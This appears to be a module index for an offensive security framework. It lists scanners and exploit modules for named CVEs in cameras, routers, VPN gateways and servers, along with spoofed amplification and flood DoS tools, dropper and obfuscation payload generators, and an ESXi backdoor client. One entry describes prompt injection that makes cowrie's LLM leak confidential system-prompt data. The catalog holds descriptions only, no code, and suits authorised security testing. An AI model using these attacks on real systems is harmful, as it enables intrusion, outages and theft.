| `scanners/s3_bucket_scanner` | Probes an S3 bucket via virtual-hosted and path-style URLs for public listing, ACL/policy disclosure, and bucket-existence (NoSuchBucket → registration takeover candidate). | Excellent | |
|
||||
| `scanners/sample_scanner` | Checks HTTP and HTTPS reachability and response codes for target hosts. | Normal | |
|
||||
| `scanners/security_headers_scanner` | Fetches a target URL, audits the security-relevant response headers, and reports missing/weak HSTS, CSP, X-Frame-Options, COOP/COEP/CORP, server banners, and insecure cookie attributes. | Excellent | |
|
||||
| `scanners/sequential_fuzzer` | Sequential character-based HTTP fuzzer with multiple encoding types, injection charsets, and concurrent request support. | Normal | |
|
||||
| `scanners/service_scanner` | Connects to common service ports and grabs banners/version strings using protocol-specific probes. Detects FTP, SSH, Telnet, SMTP, POP3, IMAP, MySQL, PostgreSQL, Redis, MongoDB, Memcached, RDP, VNC, and Elasticsearch. | Excellent | |
|
||||
| `scanners/sgbox_siem_recon` | Non-destructive recon of Securegate SGBox NG-SIEM consoles. | Excellent | ✓ |
|
||||
| `scanners/smtp_user_enum` | Enumerates valid usernames on SMTP servers using VRFY commands with wordlist-based concurrent scanning. | Normal | |
|
||||
| `scanners/snmp_scanner` | Tests SNMP v1/v2c community strings against target devices. Builds raw SNMP GET packets using BER/ASN.1 encoding to extract sysDescr, sysName, and sysLocation from responding devices. | Excellent | |
|
||||
| `scanners/source_map_scanner` | Crawls the target HTML for <script src> URLs, then probes each .map companion to detect exposed JavaScript source-maps that leak original source code, internal API paths, and embedded secrets. | Excellent | |
|
||||
| `scanners/source_port_scanner` | Firewall bypass scanner that discovers which source ports are allowed to connect to a target IP and destination port. Useful for identifying firewall rules that permit traffic from specific source ports (e.g., DNS/53, HTTP/80). Supports parallel scanning with configurable concurrency. | Excellent | |
|
||||
| `scanners/ssdp_msearch` | Discovers UPnP devices on a network via SSDP M-SEARCH multicast and unicast probes. | Normal | |
|
||||
| `scanners/ssh_scanner` | Scans networks for SSH services with banner grabbing, CIDR range support, and concurrent scanning. | Normal | |
|
||||
| `scanners/ssl_scanner` | Analyzes SSL/TLS certificates and configuration. Detects expired certificates, self-signed certs, weak ciphers, and misconfigurations. | Excellent | |
|
||||
| `scanners/stalkroute_full_traceroute` | Advanced traceroute with ICMP, TCP, and UDP probes, OS fingerprint spoofing, and decoy packet generation. | Normal | |
|
||||
| `scanners/subdomain_scanner` | Brute-forces subdomains of a target domain using DNS resolution. Supports built-in wordlist or custom wordlist file. Uses concurrent asynchronous DNS lookups for fast enumeration. | Excellent | |
|
||||
| `scanners/subdomain_takeover_scanner` | Resolves the CNAME chain for a host, identifies the cloud provider, and probes the live URL for the provider-specific 'unclaimed' fingerprint. Covers CloudFront, Heroku, GitHub Pages, Azure, Netlify, WPEngine, Surge, Pantheon, Fastly, Vercel, Shopify, Statuspage, Zendesk, and 18 more. | Excellent | |
|
||||
| `scanners/vnc_scanner` | Scans VNC servers for protocol version and security type enumeration. Identifies servers with 'None' authentication (no password required) and reports all supported security mechanisms. | Excellent | |
|
||||
| `scanners/vuln_checker` | Runs fingerprint probes against a target to identify vulnerable products/services. | Excellent | |
|
||||
| `scanners/waf_detector` | Detects Web Application Firewalls and CDN providers by analyzing HTTP response headers, cookies, and body content. Sends benign and malicious payloads to trigger WAF signatures for higher-confidence detection. Identifies Cloudflare, AWS WAF, Akamai, Imperva, F5 BIG-IP, ModSecurity, Sucuri, Barracuda, Fortinet, and Citrix NetScaler. | Excellent | |
|
||||
| `scanners/wellknown_scanner` | Probes ~50 common discovery endpoints (security.txt, OIDC config, autodiscover, swagger, .env, .git, actuator, healthz) and reports reachable resources with status, content-type, length, and snippet. | Excellent | |
|
||||
| `scanners/wp_user_enum` | Three-vector WordPress user enumeration: /wp-json/wp/v2/users, ?author=N slug-leak via redirect, and /wp-json/oembed/1.0/embed author disclosure. | Excellent | |
|
||||
| `scanners/wp_xmlrpc_scanner` | Detects /xmlrpc.php exposure on WordPress sites, enumerates allowed methods via system.listMethods, and flags system.multicall (password-spray amplifier) and pingback.ping (SSRF / DDoS primitive). | Excellent | |
|
||||
|
||||
## exploits (284)
|
||||
|
||||
- 284 modules, 137 with `check()`
|
||||
|
||||
| Module | Description | Rank | Check |
|
||||
|---|---|---|---|
|
||||
| `exploits/bluetooth/wpair` | Google Fast Pair pairing-mode-bypass exploitation (WhisperPair, CVE-2025-36911). Discovers Fast Pair accessories (service 0xfe2c), then performs the secp256r1 ECDH Key-Based Pairing handshake against the target's Anti-Spoofing key to force-pair out of pairing mode. Interactive sub-shell: scan/info/exploit/testall/exploitall/nonce/curve/pair/rename/switch/harvest, with nonce-replay (§4.3) and invalid-curve (§4.5) conformance tests. Requires `bluetooth` feature + a local BLE adapter. See the [Fast Pair / WhisperPair Guide](Fast-Pair-WhisperPair-Guide.md). | Excellent | |
|
||||
| `exploits/cameras/abus/abussecurity_camera_cve202326609variant1` | Probes ABUS security cameras for the path-traversal vulnerability in /webparam.cgi that allows reading /etc/passwd and similar local files. | Excellent | |
|
||||
| `exploits/cameras/acti/acm_5611_rce` | Probes ACTi ACM-5611 IP cameras for command injection in the iperf parameter on /cgi-bin/test. Sends a benign echo-marker payload. | Excellent | |
|
||||
| `exploits/cameras/avtech/cve_2024_7029_avtech_camera` | Exploits CVE-2024-7029 in AVTECH IP cameras for remote code execution. | Excellent | |
|
||||
| `exploits/cameras/galayou_g2_rtsp_bypass_cve_2025_9983` | Sends an unauthenticated RTSP DESCRIBE to the camera and detects | Great | ✓ |
|
||||
| `exploits/cameras/hikvision/hikvision_rce_cve_2021_36260` | Sends a benign `echo $marker` payload to PUT /SDK/webLanguage with the XML command-injection vector from CVE-2021-36260. Vulnerable devices echo the marker. No destructive operations performed. | Excellent | |
|
||||
| `exploits/cameras/reolink/reolink_rce_cve_2019_11001` | Exploits CVE-2019-11001 authenticated OS command injection in Reolink cameras via TestEmail functionality. | Excellent | |
|
||||
| `exploits/cameras/uniview/uniview_nvr_pwd_disclosure` | Extracts and decodes user credentials from Uniview NVR devices via remote password disclosure vulnerability. | Good | |
|
||||
| `exploits/cameras/xiongmai_xm530` | Probes the proprietary Xiongmai XM530 control protocol on TCP/34567 for | Normal | ✓ |
|
||||
| `exploits/cowrie/ansi_log_injection` | Injects ANSI/OSC escape sequences into cowrie's session log via unsanitized crontab command arguments. When an operator views the replay log on a real terminal, embedded escapes execute: title bar hijack, bell spam, cursor repositioning. | Normal | |
|
||||
| `exploits/cowrie/llm_prompt_injection` | Exploits cowrie's LLM mode where unsanitized attacker commands are concatenated into the same prompt context as the confidential system prompt containing real hostname and username. Injection can coerce the LLM to echo real configuration data. | Normal | |
|
||||
| `exploits/cowrie/ssrf_ipv6` | Demonstrates that cowrie's SSRF blocklist omits fc00::/7, fe80::/10, and ::ffff:0:0/96, allowing IPv6 SSRF to internal addresses. Also demonstrates the DNS-rebinding TOCTOU where check→re-resolve allows SSRF bypass via fast-flux DNS. | Normal | |
|
||||
| `exploits/crypto/geth_dos_cve_2026_22862` | Detects Go-Ethereum nodes vulnerable to CVE-2026-22862 by querying the JSON-RPC web3_clientVersion endpoint and parsing the version string. Does NOT send the destructive ECIES crash payload. | Normal | |
|
||||
| `exploits/crypto/heartbleed` | Tests for and exploits the OpenSSL Heartbleed vulnerability (CVE-2014-0160) to leak server memory contents. | Good | |
|
||||
| `exploits/dionaea/mqtt_underflow` | Sends a malformed MQTT PUBLISH packet to dionaea where TopicLength (255) exceeds MessageLength-2 (3), causing a negative length_from in scapy's MQTT_Publish parser. Triggers parser desync / UnicodeDecodeError exception. | Normal | |
|
||||
| `exploits/dionaea/mssql_dos` | Sends a crafted TDS7 LOGIN7 packet to dionaea's MSSQL honeypot where ibPassword=85 and cchPassword=2, causing the password slice to be 1 byte. Decoding 1 byte as UTF-16 raises UnicodeDecodeError outside the try block → unhandled exception → connection handler crash. | Normal | |
|
||||
| `exploits/dionaea/mysql_sqli` | Sends a MySQL COM_FIELD_LIST command to dionaea where the table name contains SQLite injection. Table 'sqlite_master)--' changes the PRAGMA query to return the honeypot's internal DB schema. Demonstrates the developer's comment 'I'm not afraid of SQLi here though.' | Normal | |
|
||||
| `exploits/dionaea/tftp_crash` | Sends a malformed TFTP RRQ to dionaea where the option name 'blksize' lacks a trailing NUL byte. dionaea's options parser builds a malformed struct format string → struct.error or UnicodeDecodeError in tftp.py:178-216. | Normal | |
|
||||
| `exploits/dos/apachebrpc_overflow_cve_2025_59789` | Detects Apache bRPC ports; deeply recursive JSON crashes the server. | Normal | ✓ |
|
||||
| `exploits/dos/connection_exhaustion_flood` | Ultra-fast TCP connection flood that exhausts server connection tables and TIME_WAIT slots. | Normal | |
|
||||
| `exploits/dos/dns_amplification` | Sends spoofed DNS ANY queries to open resolvers, causing amplified responses (~100x) directed at the victim via raw UDP with IP_HDRINCL. | Normal | |
|
||||
| `exploits/dos/http2_rapidreset_cve_2023_44487` | Probes the target for HTTP/2 Rapid Reset DoS exposure by detecting | Normal | ✓ |
|
||||
| `exploits/dos/http_flood` | High-speed HTTP GET/POST flood targeting web servers at the application layer with User-Agent rotation and cache-busting random parameters. | Normal | |
|
||||
| `exploits/dos/icmp_flood` | Raw ICMP echo request flood with proper checksums. Supports optional source IP spoofing via IP_HDRINCL or non-spoofed ICMP raw sockets. | Normal | |
|
||||
| `exploits/dos/memcached_amplification` | Sends spoofed memcached UDP stats requests to open servers, causing massively amplified responses (~51,000x) directed at the victim via raw UDP with IP_HDRINCL. | Normal | |
|
||||
| `exploits/dos/ntp_amplification` | Sends spoofed NTP MON_GETLIST_1 requests to NTP servers, causing amplified responses (~556x) directed at the victim via raw UDP with IP_HDRINCL. | Normal | |
|
||||
| `exploits/dos/null_syn_exhaustion` | High-performance SYN flood with null-byte payloads for resource exhaustion testing using native OS threads and sendmmsg batching. | Normal | |
|
||||
| `exploits/dos/px4_uav_dos` | Sends a benign MAVLink heartbeat to UDP/14550 to fingerprint PX4 autopilot exposure. | Normal | ✓ |
|
||||
| `exploits/dos/rudy` | Opens HTTP POST connections with large Content-Length then drips the body one byte at a time, exhausting server connection pools. Supports optional TLS. | Normal | |
|
||||
| `exploits/dos/slowloris` | Keeps HTTP connections open by sending partial headers slowly, exhausting the server's connection pool. Supports optional TLS. | Normal | |
|
||||
| `exploits/dos/ssdp_amplification` | Sends spoofed SSDP M-SEARCH requests to UPnP/SSDP targets, causing amplified responses (~30x) directed at the victim via raw UDP with IP_HDRINCL. | Normal | |
|
||||
| `exploits/dos/syn_ack_flood` | Sends SYN packets to reflector servers with spoofed victim source IP, causing SYN-ACK responses directed at the victim for amplification. | Normal | |
|
||||
| `exploits/dos/tcp_connection_flood` | TCP connection flood with optional RST close and HTTP payload delivery for denial of service testing. | Normal | |
|
||||
| `exploits/dos/telnet_iac_flood` | Exploits unbounded IAC subnegotiation (SB without SE) and rapid WILL/DO option cycling to exhaust CPU and memory on telnet daemons, bruteforce tools, and honeypots. Four modes: WILL/DO storm, SB decompression bomb, NOP interleave, and combined. | Normal | |
|
||||
| `exploits/dos/udp_flood` | High-speed UDP flood with optional source IP spoofing via raw sockets. Supports random, null, and pattern payload modes. | Normal | |
|
||||
| `exploits/frameworks/apache_camel/cve_2025_27636_camel_header_injection` | Code injection via HTTP headers in Apache Camel routes that use the | Great | |
|
||||
| `exploits/frameworks/apache_tomcat/catkiller_cve_2025_31650` | Exploits CVE-2025-31650 memory leak in Apache Tomcat 10.1.10-10.1.39 via invalid HTTP/2 priority headers. | Normal | |
|
||||
| `exploits/frameworks/apache_tomcat/cve_2025_24813_apache_tomcat_rce` | Exploits CVE-2025-24813 deserialization vulnerability in Apache Tomcat for remote code execution. | Excellent | |
|
||||
| `exploits/frameworks/apache_tomcat/cve_2025_24813_tomcat_put_rce` | Unauthenticated RCE via partial PUT upload and Java deserialization. | Excellent | ✓ |
|
||||
| `exploits/frameworks/exim/exim_etrn_sqli_cve_2025_26794` | Exploits CVE-2025-26794 time-based SQL injection in Exim ETRN command when using SQLite backend. | Good | |
|
||||
| `exploits/frameworks/h3c_bmc/h3c_websocket_dump` | H3C iBMC firmware accepts an unauthenticated WebSocket upgrade on TCP/8090 that immediately dumps a JSON chassis status block and proxies arbitrary Redfish GETs into the management plane — bypassing the auth gate on the :443 Redfish HTTPS API. Also supports a pipelined-frame race condition where a JSON command sent in the same TCP segment as the HTTP upgrade is processed before the WebSocket dispatcher attaches an auth context. | Excellent | ✓ |
|
||||
| `exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset` | Exploits CVE-2023-44487 HTTP/2 Rapid Reset vulnerability to cause denial of service via rapid stream creation and reset. | Normal | |
|
||||
| `exploits/frameworks/jenkins/jenkins_2_441_lfi` | Exploits CVE-2024-23897 CLI argument injection in Jenkins 2.441 and earlier for arbitrary file read. | Good | |
|
||||
| `exploits/frameworks/jenkins/jenkins_args4j_rce_cve_2024_24549` | Exploits the args4j parser via the connect-node CLI command with @-prefixed file paths to leak arbitrary file contents through error messages. | Great | |
|
||||
| `exploits/frameworks/jenkins/jenkins_cli_rce_cve_2024_23897` | Exploits the args4j argument parser in Jenkins CLI to read arbitrary files from the server via @-expansion in command arguments. Sends POST to /cli?remoting=false. | Great | |
|
||||
| `exploits/frameworks/mongo/mongobleed` | Exploits CVE-2025-14847 zlib decompression bug in MongoDB Server to leak uninitialized heap memory via BSON field names. | Good | |
|
||||
| `exploits/frameworks/nginx/nginx_pwner` | Checks for common Nginx misconfigurations and vulnerabilities including alias traversal, CRLF injection, and more. | Good | |
|
||||
| `exploits/frameworks/php/cve_2024_4577` | Exploits CVE-2024-4577 PHP CGI argument injection on Windows (XAMPP) for remote code execution. | Excellent | |
|
||||
| `exploits/frameworks/php/cve_2025_51373_php_rce` | PHP CGI argument injection on Windows via soft hyphen (0xAD) code-page | Excellent | |
|
||||
| `exploits/frameworks/wsus/cve_2025_59287_wsus_rce` | Unauthenticated RCE in Windows Server Update Services (WSUS). | Great | ✓ |
|
||||
| `exploits/ftp/ftp_bounce_test` | Tests FTP servers for bounce attack vulnerability by attempting PORT commands to third-party hosts. | Good | |
|
||||
| `exploits/ftp/ftp_default_creds` | Tries a built-in (or user-supplied) list of common user:password pairs against an FTP service. On success it issues PWD then disconnects — no directory listing, transfer or write is performed. Designed for credential-hygiene checks during sanctioned engagements. | Good | ✓ |
|
||||
| `exploits/ftp/pachev_ftp_path_traversal_1_0` | Exploits directory traversal vulnerability in Pachev FTP Server 1.0 to read files outside the FTP root. | Good | |
|
||||
| `exploits/honeytrap/docker_panic` | Sends POST /v1.40/images/create without a fromImage query parameter to honeytrap's Docker emulation. The handler indexes a nil map value → 'index out of range' panic. No recover() in the chain → daemon exit. | Good | |
|
||||
| `exploits/honeytrap/ftp_panic` | Sends a malformed FTP PORT command (`PORT 1,2,3` — only 4 fields) to honeytrap's FTP honeypot. The handler calls nums[4] without a length check → slice out of range panic → no recover() → daemon exits. | Good | |
|
||||
| `exploits/ipmi/ipmi_enum_exploit` | Comprehensive IPMI scanner with version detection, cipher 0 bypass, default credential brute force, and RAKP hash dumping. | Good | |
|
||||
| `exploits/network_infra/apache_modssl_bypass_cve_2025_23048` | Detects Apache HTTPD with mod_ssl by Server header; client-cert auth | Good | ✓ |
|
||||
| `exploits/network_infra/arista_ngfw_disclose` | Probes Arista NGFW for the unauthenticated internal RPC endpoint. | Good | ✓ |
|
||||
| `exploits/network_infra/checkpoint_fileread_cve_2024_24919` | Probes Check Point Security Gateway portals for the unauthenticated | Great | ✓ |
|
||||
| `exploits/network_infra/cisco/cisco_ise_api_inject_cve_2025_20281` | Detects Cisco ISE 3.1/3.2 ERS API and probes the unauthenticated | Great | ✓ |
|
||||
| `exploits/network_infra/citrix/cve_2025_5777_citrixbleed2` | Out-of-bounds read in Citrix NetScaler ADC/Gateway authentication endpoint. | Good | ✓ |
|
||||
| `exploits/network_infra/commvault/cve_2025_34028_commvault_rce` | Pre-authentication remote code execution in Commvault Command Center | Excellent | |
|
||||
| `exploits/network_infra/f5/cve_2025_53521_f5_bigip_rce` | Unauthenticated remote code execution in F5 BIG-IP Access Policy Manager. | Great | ✓ |
|
||||
| `exploits/network_infra/fortinet/forticloud_sso_auth_bypass_cve_2026_24858` | Authentication bypass via alternate path in Fortinet products with FortiCloud SSO enabled. Allows reusing SSO tokens to access other customers' appliances. | Normal | |
|
||||
| `exploits/network_infra/fortinet/fortigate_rce_cve_2024_21762` | Critical out-of-bounds write vulnerability in FortiOS SSL VPN allowing unauthenticated remote code execution via crafted HTTP requests to /remote/hostcheck_validate. | Normal | |
|
||||
| `exploits/network_infra/fortinet/fortimanager_rce_cve_2024_47575` | Critical missing authentication vulnerability in FortiManager fgfmd daemon allowing unauthenticated remote code execution via crafted FGFM registration requests on port 541. | Good | |
|
||||
| `exploits/network_infra/fortinet/fortios_auth_bypass_cve_2022_40684` | Authentication bypass on FortiOS/FortiProxy/FortiSwitchManager administrative interface via crafted HTTP headers, allowing unauthenticated API access. | Great | |
|
||||
| `exploits/network_infra/fortinet/fortios_heap_overflow_cve_2023_27997` | Pre-authentication heap-based buffer overflow in FortiOS SSL VPN allowing remote code execution via crafted requests to /remote/logincheck with oversized payload. | Normal | |
|
||||
| `exploits/network_infra/fortinet/fortios_ssl_vpn_cve_2018_13379` | Path traversal in FortiOS SSL VPN web portal to leak session files containing cleartext credentials. | Great | |
|
||||
| `exploits/network_infra/fortinet/fortisiem_rce_cve_2025_64155` | Unauthenticated remote code execution in FortiSIEM phMonitor service via argument injection in XML payload over SSL binary protocol. | Great | |
|
||||
| `exploits/network_infra/fortinet/fortiweb_rce_cve_2021_22123` | Authenticated command injection in FortiWeb SAML Server configuration via server-name parameter. Requires valid credentials. | Normal | |
|
||||
| `exploits/network_infra/fortinet/fortiweb_sqli_rce_cve_2025_25257` | Probes FortiWeb (≤ 7.0.10 / 7.2.10 / 7.4.7 / 7.6.3) for the unauthenticated SQLi that escalates to RCE via webshell deployment. Sends a benign UNION SELECT marker — no webshell write. | Great | |
|
||||
| `exploits/network_infra/hpe/cve_2025_37164_hpe_oneview_rce` | Unauthenticated RCE via REST API command injection in HPE OneView. | Excellent | ✓ |
|
||||
| `exploits/network_infra/hpprocurve_disclose` | Detects HP ProCurve 4.00 admin web; reads /config/credentials disclosure. | Normal | ✓ |
|
||||
| `exploits/network_infra/hpprocurve_snac_inject` | Detects HP ProCurve SNAC controller endpoints; PHP injection via management form. | Normal | ✓ |
|
||||
| `exploits/network_infra/ivanti/cve_2025_0282_ivanti_preauth_rce` | Detects Ivanti Connect Secure gateways running pre-22.7R2.5 firmware vulnerable to CVE-2025-0282. Probe only — no payload sent. | Great | ✓ |
|
||||
| `exploits/network_infra/ivanti/cve_2025_22457_ivanti_ics_rce` | Probes for the X-Forwarded-For stack overflow in Ivanti Connect Secure / Policy Secure / ZTA Gateway pre-22.7R2.6. Sends an oversized header and inspects the response banner. Probe only — no shellcode. | Great | ✓ |
|
||||
| `exploits/network_infra/ivanti/ivanti_connect_secure_stack_based_buffer_overflow` | Critical stack-based buffer overflow in Ivanti Connect Secure, Policy Secure, and ZTA Gateways via crafted X-Forwarded-For header. CVSS 9.0. | Normal | |
|
||||
| `exploits/network_infra/ivanti/ivanti_epmm_cve_2023_35082` | Authentication bypass in Ivanti Endpoint Manager Mobile allowing unauthenticated access to user information via API endpoints. | Great | |
|
||||
| `exploits/network_infra/ivanti/ivanti_ics_auth_bypass_cve_2024_46352` | Authentication bypass in Ivanti Connect Secure via path traversal in the /api/v1/totp/user-backup-code endpoint, allowing unauthenticated access to protected resources. | Great | |
|
||||
| `exploits/network_infra/ivanti/ivanti_neurons_rce_cve_2025_22460` | Deserialization vulnerability in Ivanti Neurons for ITSM allowing unauthenticated remote code execution via crafted requests to the /api/now/ endpoint. | Normal | |
|
||||
| `exploits/network_infra/juniper_screenos_scanner` | Probes Juniper ScreenOS for the historical hard-coded backdoor. | Normal | ✓ |
|
||||
| `exploits/network_infra/kubernetes/cve_2025_1974_ingress_nginx_rce` | The ingress-nginx admission webhook does not validate NGINX | Excellent | |
|
||||
| `exploits/network_infra/qnap/qnap_qts_rce_cve_2024_27130` | Stack buffer overflow in QNAP QTS No_Support_ACL function via share.cgi, allowing remote code execution. Affects QNAP QTS, QuTScloud, and QTS hero. | Normal | |
|
||||
| `exploits/network_infra/sonicwall/cve_2025_40602_sonicwall_sma_rce` | Detects SonicWall SMA1000 series management/auth surfaces vulnerable to CVE-2025-40602. Probe only — banner / endpoint check, no payload. | Great | ✓ |
|
||||
| `exploits/network_infra/trend_micro/cve_2025_5777` | Unauthenticated command injection in Trend Micro Apex Central via Login.aspx endpoint. | Great | |
|
||||
| `exploits/network_infra/trend_micro/cve_2025_69258` | Unauthenticated DLL loading via Trend Micro MsgReceiver service on port 20001, allowing remote code execution. | Great | |
|
||||
| `exploits/network_infra/trend_micro/cve_2025_69259` | Denial of service via unchecked NULL return value in Trend Micro MsgReceiver service, causing service crash. | Normal | |
|
||||
| `exploits/network_infra/trend_micro/cve_2025_69260` | Denial of service via out-of-bounds read in Trend Micro MsgReceiver service, causing service crash. | Normal | |
|
||||
| `exploits/network_infra/vmware/esxi_auth_bypass_cve_2024_37085` | VMware ESXi authentication bypass via Active Directory group manipulation. Attackers with AD access can create the 'ESX Admins' group to gain full admin access to ESXi hosts. | Normal | |
|
||||
| `exploits/network_infra/vmware/esxi_vm_escape_check` | Checks ESXi hosts for vulnerability to VM escape chain (CVE-2025-22224, CVE-2025-22225, CVE-2025-22226) and detects indicators of compromise. | Good | |
|
||||
| `exploits/network_infra/vmware/esxi_vsock_client` | VSOCK client for communicating with VSOCKpuppet backdoor on compromised ESXi hosts after successful VM escape exploitation. | Manual | ✓ |
|
||||
| `exploits/network_infra/vmware/vcenter_backup_rce` | Authenticated remote code execution in VMware vCenter Server via flag injection in backup.validate API locationUser parameter. CVSS 7.2. | Great | |
|
||||
| `exploits/network_infra/vmware/vcenter_file_read` | Authenticated partial arbitrary file read in VMware vCenter Server via RVC command. CVSS 4.9. | Good | |
|
||||
| `exploits/network_infra/vmware/vcenter_rce_cve_2024_37079` | Critical heap-overflow vulnerability in VMware vCenter Server DCERPC protocol implementation allowing unauthenticated remote code execution via crafted packets to port 443. | Normal | |
|
||||
| `exploits/payloadgens/obfuscator` | Multi-layer payload obfuscator. Twenty-four methods (XOR / RC4 / base16/32/32hex/64/64url/85/91 / ROT13 / ROT47 / reverse / gzip / URL / Caesar / bit-rotate / Vigenère / zero-width / hex-split / UTF-16LE / char-substitution / ANSI-escape / chunk-permute) and seven output formats (raw, recipe, Python / PowerShell / Bash / JavaScript self-decoder, C array). Three modes: chain (explicit order), random (auto N rounds), same (one method N times). Default 4 rounds, user-overridable up to 32. All randomness from OS RNG; chains are reproducible via the recipe. Engine lives in native::obfuscator_engine; this module is the prompt-driven UI. | Normal | ✓ |
|
||||
| `exploits/payloadgens/payloadgen` | Unified payload generator. Modes: bat (BAT chain dropper), lnk (malicious LNK for NTLMv2-SSP hash disclosure CVE-2025-50154 / CVE-2025-59214), narutto (polymorphic 3-stage LOLBAS dropper), polymorph (3-stage Task-Scheduler dropper), encode (multi-stage payload encoder — base16/32/64/url/shell/html/zero-width), or menu for an interactive selector. Same prompt keys as the previous individual modules so existing automation migrates with `mode=<bat\|lnk\|narutto\|polymorph\|encode>`. | Normal | ✓ |
|
||||
| `exploits/routers/dlink/dlink_dcs_930l_auth_bypass` | Authentication bypass via unauthenticated configuration disclosure on D-Link DCS-930L/932L cameras. Retrieves and deobfuscates credentials from /frame/GetConfig. | Great | |
|
||||
| `exploits/routers/netgear/netgear_r6700v3_rce_cve_2022_27646` | Pre-authentication buffer overflow in Netgear R6700v3 circled daemon allowing remote code execution. Based on Pwn2Own Austin 2021 exploit. | Normal | |
|
||||
| `exploits/routers/palo_alto/panos_authbypass_cve_2025_0108` | Authentication bypass in Palo Alto Networks PanOS via path traversal in the authentication mechanism, allowing unauthenticated access to administrative functions. | Great | |
|
||||
| `exploits/routers/palo_alto/panos_expedition_rce_cve_2024_9463` | Unauthenticated OS command injection in Palo Alto Expedition | Excellent | |
|
||||
| `exploits/routers/palo_alto/panos_globalprotect_rce_cve_2024_3400` | Unauthenticated OS command injection in PAN-OS GlobalProtect gateway. | Excellent | |
|
||||
| `exploits/routers/ruijie/ruijie_auth_bypass_rce_cve_2023_34644` | Authentication bypass leading to remote code execution on Ruijie RG-EW routers, RG-NBS/RG-S1930 switches, RG-EG VPN routers, and EAP/RAP access points. CVSS 9.8. | Excellent | |
|
||||
| `exploits/routers/ruijie/ruijie_reyee_ssrf_cve_2024_48874` | Server-Side Request Forgery in Ruijie Reyee cloud-connected devices. Part of the Open Sesame vulnerability chain discovered by Claroty Team82. CVSS 8.6. | Good | |
|
||||
| `exploits/routers/ruijie/ruijie_rg_ew_login_bypass_cve_2023_4415` | Authentication bypass on Ruijie RG-EW1200G routers via crafted JSON login request to /api/sys/login. CVSS 9.8. | Great | |
|
||||
| `exploits/routers/ruijie/ruijie_rg_ew_password_reset_cve_2023_4169` | Unauthenticated admin password reset on Ruijie RG-EW1200G routers via /api/sys/set_passwd endpoint. CVSS 9.8. | Great | |
|
||||
| `exploits/routers/ruijie/ruijie_rg_ew_update_version_rce_cve_2021_43164` | Remote code execution via command injection in firmware update function on Ruijie RG-EW Series routers up to ReyeeOS 1.55.1915. CVSS 9.8. | Excellent | |
|
||||
| `exploits/routers/ruijie/ruijie_rg_uac_ci_cve_2024_4508` | Critical unauthenticated command injection in Ruijie RG-UAC via static_route_edit_ipv6.php route parameters. CVSS 9.8. | Great | |
|
||||
| `exploits/routers/ruijie/ruijie_rsr_router_ci_cve_2024_31616` | Authenticated command injection via backtick in Ruijie RSR10-01G-T-S router diagnostic endpoints. CVSS 8.8. | Great | |
|
||||
| `exploits/routers/tenda/tenda_cp3_rce_cve_2023_30353` | Command injection in Tenda CP3 IP Camera via YGMP_CMD message on UDP port 5012, allowing unauthenticated remote code execution. | Excellent | |
|
||||
| `exploits/routers/tplink/tapo_c200_vulns` | Multiple vulnerabilities in TP-Link Tapo C200 including pre-auth WiFi network scanning info leak (CVE-2025-14300), WiFi hijacking, ONVIF SOAP XML parser memory overflow (CVE-2025-8065), and HTTPS Content-Length integer overflow (CVE-2025-14299). | Good | |
|
||||
| `exploits/routers/tplink/tp_link_vn020_dos` | Denial of service via malformed AddPortMapping SOAP request on TP-Link VN020 F3v(T) UPnP service. | Normal | |
|
||||
| `exploits/routers/tplink/tplink_archer_c2_c20i_rce` | Authenticated command injection via host parameter in diagnostic POST request on TP-Link Archer C2 and C20i routers. | Great | |
|
||||
| `exploits/routers/tplink/tplink_archer_c9_password_reset` | Exploits predictable PRNG for password reset code on TP-Link Archer C9/C60 routers, allowing unauthenticated admin password reset. | Great | |
|
||||
| `exploits/routers/tplink/tplink_archer_rce_cve_2024_53375` | Authenticated command injection in TP-Link Archer, Deco, and Tapo series routers via OwnerId parameter in /admin/smart_network endpoint. | Great | |
|
||||
| `exploits/routers/tplink/tplink_ax1800_rce_cve_2024_53375` | Authenticated command injection in TP-Link Archer AX1800 via the NTP server configuration field. The NTP server value is passed to os.execute() without sanitization. | Great | |
|
||||
| `exploits/routers/tplink/tplink_deco_m4_rce` | Tests default admin:admin credentials on TP-Link Deco M4, then exploits the diagnostic ping field for command injection via /cgi-bin/luci/admin/network/diagnostics. | Great | |
|
||||
| `exploits/routers/tplink/tplink_tapo_c200` | Probes TP-Link Tapo C200 IP cameras for command injection via the setLanguage JSON-RPC method on TCP/8800. Probe-only echo-marker. | Excellent | |
|
||||
| `exploits/routers/tplink/tplink_vigi_c385_rce_cve_2026_1457` | Detects TP-Link VIGI C385 V1 web UI vulnerable to the authenticated set_resolution buffer overflow. Probe only — requires creds, sourced separately. | Great | |
|
||||
| `exploits/routers/tplink/tplink_wdr740n_backdoor` | Exploits a debug page on TP-Link WDR740ND/WDR740N routers that allows command execution with hardcoded credentials (osteam/5up). | Great | |
|
||||
| `exploits/routers/tplink/tplink_wdr740n_path_traversal` | Path traversal on TP-Link WDR740ND/WDR740N routers allowing arbitrary file read from the filesystem via /help/ endpoint. | Good | |
|
||||
| `exploits/routers/tplink/tplink_wdr842n_configure_disclosure` | Downloads and decrypts configuration from TP-Link WDR842ND/WDR842N routers via /config.bin, extracting credentials using DES decryption. | Good | |
|
||||
| `exploits/routers/tplink/tplink_wr740n_dos` | Buffer overflow denial of service in TP-Link TL-WR740N router web server, crashing the HTTP service and requiring physical reboot. | Normal | |
|
||||
| `exploits/routers/ubiquiti/ubiquiti_edgerouter_ci_cve_2023_2376` | Command injection in Ubiquiti EdgeRouter X Web Management Interface affecting versions up to 2.0.9-hotfix.6. | Great | |
|
||||
| `exploits/routers/zte/zte_zxv10_h201l_rce_authenticationbypass` | Authentication bypass and remote code execution on ZTE ZXV10 H201L routers via configuration leak, credential extraction, and DDNS command injection. | Great | |
|
||||
| `exploits/routers/zyxel/zyxel_cpe_ci_cve_2024_40890` | Probes legacy Zyxel CPE devices for HTTP-based unauthenticated command injection. EOL hardware — no patches. Probe sends a benign echo-marker. | Great | |
|
||||
| `exploits/safeline/cookie_attributes` | Sends one POST /api/Login with an invalid passcode to observe the Set-Cookie header. The session cookie lacks HttpOnly, Secure, and SameSite attributes — enabling XSS-based session theft, CSRF, and plaintext transmission when TLS is upstream-terminated. | Normal | |
|
||||
| `exploits/safeline/nginx_injection` | Sends an authenticated POST /api/Website to SafeLine with a malicious Ports field. The tcontrollerd process inserts the value verbatim into an nginx config template via fmt.Sprintf → arbitrary directive injection. On nginx reload the injected config takes effect on the WAF host. | Great | |
|
||||
